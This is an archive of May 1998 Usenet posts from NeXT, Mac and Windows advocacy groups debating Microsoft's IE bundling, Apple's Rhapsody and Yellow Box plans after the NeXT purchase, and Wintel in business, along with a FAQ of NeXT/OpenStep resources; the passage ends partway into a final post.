References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7>
Matthew Vaughan wrote in message ...
>In article <6k6rm4$nkn$3@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> Joshua T. McKee wrote in message ...
>
>> >It would be much more difficult for Netscape to provide this level of
>> >functionality over Microsoft because Microsoft is the developer of the
>> >OS. And Netscape still would not be able to preload it on computers
like
>> >Microsoft can. You think it's hard enough to get the "application"
>> >version of Navigator pre-installed, just imagine how difficult it would
be
>> >if they made it like IE.
>>
>>
>> I don't get it. Why would it be "much more difficult"? What would the
>> problem be? Are you suggesting that Microsoft has left something
>> undocumented, such that only "the developer of the OS" could successfully
>> implement this feature?
>
>Yes.
Please substantiate your argument. Give examples, technical references,
whatever. Please explain to me why, despite the integration level, Netscape
can't simply implement the same documented interfaces and replace the
pointers in the Registry.
>
>....................................................
>MATTHEW VAUGHAN
>matthewv at best dot com (damn spammers...)
>http://www.best.com/~matthewv/
>....................................................
--
David McCabe
david.mccabe@balliol.oxford.ac.uk
From: David Dougherty & Megan Smith <dsmithd@erols.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Sat, 23 May 1998 19:31:05 -0400
Organization: Erol's Internet Services
Message-ID: <35675C37.6295@erols.com>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
<6jn8d4$1cc$66@ironhorse.plsys.co.uk>
<6jna7v$poi$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1805981526190001@wil111.dol.net> <6jq3is$mhk$5@news.xmission.com> <ToYTBPsRqFuO@cc.usu.edu>
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edx@cc.usu.edu wrote:
>
> In <6jq3is$mhk$5@news.xmission.com> Don Yacktman wrote:
> > So the YB for Intel strategy is current to run on top of WinXX and _not_ have
> > a seperate OS. This can be changed by customer demand, so if you want a Mach
> > based YB for Intel hardware, go out and buy CR1 and bang on Apple
> > relentlessly until they give in. If you aren't lobbying Apple, then you're
> > not doing your part to get this fixed.
> >
> > [...snip...]
> >
> > I can't name the person, which means you'll probably feel free to discount
> > all this, BUT I'm warning you, this is serious business and it's VERY real.
> > If you don't like that fact, then start lobbying Apple NOW to get it CHANGED!
> > Telling us you don't believe it is NOT going to help. Denial and subsequent
> > inaction will only get a Mach based YB for Intel canned.
> >
> > I hope I've made this all crystal clear. This is NO joke!
>
> I tend to agree with you about Apple's indifference to a YB/Mach on Intel.
> However, it also seems that SJ has made it crystal clear for quite some
> time that Windows has "won" on Intel, and he simply doesn't want to compete
> in the OS arena against MS. It's a pity and a shame, and very, very
> discouraging that such remarkable technology will no longer be available
> on Intel platforms, but I don't think any amount of whining from us little
> folks out here is going to make one iota of a difference to those who make
> these decisions. In SJ's mind, Windows is -the-only- OS on Intel, and
> success means attempting to leverage that fact to an advantage, rather than
> trying to fight it.
>
> If I sound a little depressed about the whole thing, I am. I don't
> like the current turn of events. It's as if Apple management has
> suddenly decided to go Neanderthal and whip out the old, old technology
> as something new. PDF instead of postscript? Aack.
>
> Oh, well. Software development has been fun and interesting for the
> past ten years, largely because of NeXT technology. But it looks like
> it's time to go back to Real Science and ditch software development as a
> career.
>
> What a really depressing week...
>
> edx@cc.usu.edu
> USU Research Foundation
> Space Dynamics Lab
>
>
Goodbye.
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 23 May 1998 20:01:09 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k7oji$hqc$3@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7>
Matthew Vaughan wrote in message ...
>In article <6k6rm4$nkn$3@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> Joshua T. McKee wrote in message ...
>
>> >It would be much more difficult for Netscape to provide this level of
>> >functionality over Microsoft because Microsoft is the developer of the
>> >OS. And Netscape still would not be able to preload it on computers
like
>> >Microsoft can. You think it's hard enough to get the "application"
>> >version of Navigator pre-installed, just imagine how difficult it would
be
>> >if they made it like IE.
>>
>>
>> I don't get it. Why would it be "much more difficult"? What would the
>> problem be? Are you suggesting that Microsoft has left something
>> undocumented, such that only "the developer of the OS" could successfully
>> implement this feature?
>
>Yes.
>
And would you care to elaborate?
J
From: P Hoppe <pjh@sdiclub.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Sat, 23 May 1998 17:28:43 -0700
Organization: CRL Network Services
Message-ID: <356769BA.4694@sdiclub.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7rF0.8DH@midway.uchicago.edu> <don_arb-1905981147250001@sea-ts4-p67.wolfenet.com> <35633A4A.674666DC@alumni.caltech.edu> <6k1da3$6hd$1@nnrp1.dejanews.com> <6k1q86$sr4$2@ironhorse.plsys.co.uk> <6k751q$pqj$1@nnrp1.dejanews.com>
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anders@common.se wrote:
>
> In article <6k1q86$sr4$2@ironhorse.plsys.co.uk>,
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > > In all fairness, Apple did it twice too. Before Copland there was Pink/
> > > Taligent, together with IBM and (if I remember correctly) HP.
> > >
> > IIRC Pink was in-house. It was folded into Taligent, after which it was just
> > folded.
>
> I think the in-house Pink was more of a research project on what an all-new OS
> would look like if you could start again from scratch. For actual foundations,
> Apple and Microsoft have both needed help (IBM, Digital, NeXT...). Microsoft
> even more often so, if you count DOS. But both are essentially user-interface
> and applications/system-services, not kernel, companies. There is of course
> little doubt as to which is the most innovative. The life span of the original
> in-house MacOS core is also quite impressive, considering its humble, pre-
> Switcher beginnings. What I meant was simply that counting kernel acquisitions
> is not a very meaningful comparison.
>
> /A
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/ Now offering spam-free web-based newsreading
As I recall Pink/Taligent was folded into Copeland which mostly died
although most of Copeland will end up in OS8.5, OS9 and OS10 (the money
was not a TOTAL waste at least) along with th NeXT stuff.....
--
"We build confusing systems. That's true in the software and true in the
hardware. The number of questions that we get on our support lines imply
that
we together haven't done a very good job. The questions I get from my
mother
imply we haven't done a very good job.
-JIM ALLCHIN, Senior Vice President, Microsoft
"If you can't make it good, make it look good."
-BILL GATES, 1995
Date: Sat, 23 May 1998 21:10:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-2305982110400001@elk46.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net>
In article <35666214.339DA7D@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> That's sorta odd. I don't personally know anyone who's forced to use
> Microsoft products, but I don't know everyone, so I won't assume that my
> experience is normative. My father chooses to use a Macintosh, but he
You can count me.
I'd never use a MS product if given a choice. ClarisWorks is sufficient
for my needs at 1/4 the price and 1/5 the hardware requirements.
> and his colleagues have decided to use Microsoft Word as a document
> platform because they have calculated that it's valuable for them to do
> so. They chose Microsoft Word, but you know different people than I do.
>
> Another interesting point is that most people I know who use Microsoft
> solutions have also used alternatives. They hate them. When I worked in
Nice generalization--but false.
There are a lot of Mac advocates on this group (including me) who find MS
Windows to be the worst solution that we've tried.
> a mixed Solaris/Windows environment at FedEx, all of the Windows users
> hated Unix because they had higher expectations based on their use of
> Windows. Their expectations differed from mine fundamentally, but that's
> basically immaterial. Using vi, for instance, didn't meet with their
> needs.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 24 May 1998 01:33:54 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd86b3$ea83b510$04387880@test1>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net> <6k4kil$a9g3@odie.mcleod.net> <35673360.5336C3C7@milestonerdl.com>
m rassbach <mark@milestonerdl.com> wrote
>> The one platform that almost all companies can safely but all their
>> eggs in is Wintel.
>
> Really? Tell us more Troll.
Because you probably won't be fired for buying Wintel.
Your small business just bought a bunch of Macintoshes and you run
QuickBooks Pro on it. What, Intuit just dropped support for QuickBooks
Pro for the Mac?
You use an NFS package to mount a UNIX file server. What, you have had
to change NFS packages several times this year because the vendors have
dropped Mac support?
You bought Sparc/Solaris, but most of the applications you want to run
aren't available for Solaris. How many UNIX owners also do work on a
PC or Mac?
The sad fact is that telling your organization to buy anything other
than Microsoft and Intel is a risk. Each scenario above has happened
to me or people I know. When it is your personal computer, that is one
thing, but when you are buying for an organization different priorities
must be weighed.
Todd
Message-ID: <35677FD9.97601B23@home.com>
From: Thomas Poff <thomas100@home.com>
Organization: @Home Network
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Future of Yellow...
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <356334fd.0@206.25.228.5> <35634FEE.14EC681@milestonerdl.com> <3563c5b1.0@206.25.228.5> <6k1gn1$po4@nntp02.primenet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sun, 24 May 1998 01:54:35 GMT
NNTP-Posting-Date: Sat, 23 May 1998 18:54:35 PDT
Being that Rhapsody/Intel future could be decided later after MacOS X
and/or Rhapsody have settled in, I'd say that it's not that important.
I am most interested in how Yellow Box is going to be ported to more
viable contexts, such as set-top boxes and other consumer devices.
I look at Yellowbox as a Java / Obj-C hybrid platform that can make a
variety of systems that were impossible before possible now. A smart
business case could be made in efficiently prying a workable Java basis
into various embedded devices not as a framework, but rather as a
platform. It seems to me that eventually, a Macintosh OS environment
should be able to run either/and/or Java and Obj-C code, allowing
options for both performance and cross-platform options.
It would be interesting to see if Apple can learn the value of marketing
both it's label and it's Yellowbox frameworks in a variety of devices.
I say this as an engineer believing that there could be an Apple logo on
my Sony VCR as easily as my desktop computer at work. And when
meaningful, some of the programs that work on one should work on the
other.
Ideally I'd say you should do the following. (1) Build an object-based
Macintosh Toolbox [done... that's Yellowbox]. (2) Put it in gates
(embeddable logic cores) instead of ROMs. (3) Build a couple of smart
display controllers around it, one for low-end devices and another for
high-end devices say. (4) Get used to shipping a hardware platform on
an ASIC. (5) License the low-end to Japan for consumer devices (VCRs,
smart phones, etc), keep the high-end [desktop/laptop computers] within
Apple. (6) Market the heck out of the whole kit and kaboodle.
Competition... I love the concept.
I could elaborate lots on details and market opportunities but then
you'd have to read a novel.
Thomas
thomas100@home.com
Peecee Developer since 1985
NeXTStep/Openstep/YellowBox Developer since 1990
Java Developer since 1995
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Sat, 23 May 1998 12:43:49 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6k80dj$gug1@odie.mcleod.net>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <see-below-2205980154480001@209.24.240.67> <6k4hu6$sol$1@geraldo.cc.utexas.edu> <aa829-2305981123020001@port11.dialb2.gain-ny.com>
Charlie Mingo wrote in message ...
>In article <6k4hu6$sol$1@geraldo.cc.utexas.edu>,
>kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
>
>> Also, perhaps the software you want runs under a different OS
>> than your client machine? Then how will Sassafras help?
>
>If the client and the server ends run on different OS's, then how could
>NSXHosting help (since it never was a cross-platform standard)?
>
NSHosting works great between Openstep/Mach and Openstep Enterprise
(YellowBox) for NT applications.
NXHosting works great between NeXTstep Mach Sparc and NeXTstep Mach Intel
and NeXtstep Mach 68k.
NSHosting probably works with Sun's Openstep for Solaris, but I don't have
that to try.
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 23 May 1998 21:47:51 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2305982147510001@pm3a18.rmac.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net>
In article <6k6rm5$nkn$4@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> And how were they using their monopoly to monopolize this other market?
> Netscape wasn't excluded from reaching this market. They still have a 2/3
> share last I heard. Microsoft even allows OEMs to ship Netscape installed on
> a Win95 system. They did not prevent Netscape's entry into the market (it
> was already there, and to a large extent created the market), and the didn't
> eliminate Netscape's presence in the market, so what DID they do as far as
> "monopolizing" the new market?
Let's say for a moment that the IE intergration in Windows 98 is a
legitimate OS feature. Furthermore, let's also say that nothing prevents
the user from not using IE and using Netscape. Could we say that these
two statements are what a number of pro-Microsoft advocates are saying?
Good...now why is it that Microsoft will not allow vendors to install and
configure Navigator as the default browser while leaving the IE technology
in place? Why must the startup sequence remain unaltered?
One can argue that leaving the IE functionality in the OS allows
developers to know exactly what browsing features will be available on
every Windows 98 system. But I cannot for the life of me see any
advantage to the consumer for Microsoft to insist that Navigator not be
installed as the default browser and that the startup sequence cannot be
altered so that IE is not prominently displayed. You call this freedom of
choice? Are you telling me that Microsoft is giving the customers what
they want? Are customers demanding the exact same startup of every
computer system running Windows 98? Don't you think that the system
vendors should be allowed to pick and choose which software they would
like to see more prominently displayed?
The reason why is that Microsoft is trying to monopolize the browser
market. Can you explain this any other way (and please, the "Windows
Experience" is not worth a battle with the DOJ)?
Josh
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <10466895377625@digifix.com>
Date: 24 May 1998 03:49:53 GMT
Organization: Digital Fix Development
Message-ID: <8873895982424@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <joe.ragosta-2305982110400001@elk46.dol.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3567b573.0@206.25.228.5>
Date: 24 May 98 05:51:47 GMT
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <35666214.339DA7D@nstar.net>, "Michael J. Peck"
> <mjpeck@nstar.net> wrote:
> > That's sorta odd. I don't personally know anyone who's forced
> > to use Microsoft products, but I don't know everyone, so I
> > won't assume that my experience is normative. My father chooses
> > to use a Macintosh, but he
> You can count me.
> I'd never use a MS product if given a choice. ClarisWorks is
> sufficient for my needs at 1/4 the price and 1/5 the hardware
> requirements.
That doesn't mean you speak for anykind of majority or significant
sector of the population. The fact is that ms products do many
things that are critical to many segments. TOC, TOA, citations
are all important to lawyers and not done at all well by CW, yet
they are by word (whether they are done well is debatable). Lots
of those kinds of things are make or break features, must haves,
for various market segments.
Don't get me wrong Joe, in spirit I'm with you in the "pure
uncluttered" environment sentiment. However, the real world runs
on uglier gunk. It runs on ms. Thems the facts.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <6k7j6i$7i5$1@tallowcross.uni-frankfurt.de>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3567b666.0@206.25.228.5>
Date: 24 May 98 05:55:50 GMT
uli@tallowcross.uni-frankfurt.de (Uli Zappe) wrote:
> THIS is what made OPENSTEP so unbelievably great, not the nice
> icons, not preemptive multitasking. And this would have been
> saved in Rhapsody, where old programs would run separately in
> the blue box, but everything new would be OO and would integrate
> with one another.
For me, the nice icons and generally exceptional taste in design
helped a lot too. Something I find lacking and irking in apple's
products. Clearly, here, YMV. I found the culmination of all the
factors, the synergy, to be the "pleasant" factor for NeXTSTEP.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: For Apple to Survive and Thrive
Date: 24 May 1998 05:55:49 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd86d8$819a8f90$04387880@test1>
[I am feeling long-winded tonight;-) This thread is motivated in
part by my "Why Microsoft has Won" message]
For those with short attention spans, the most interestering point
is:
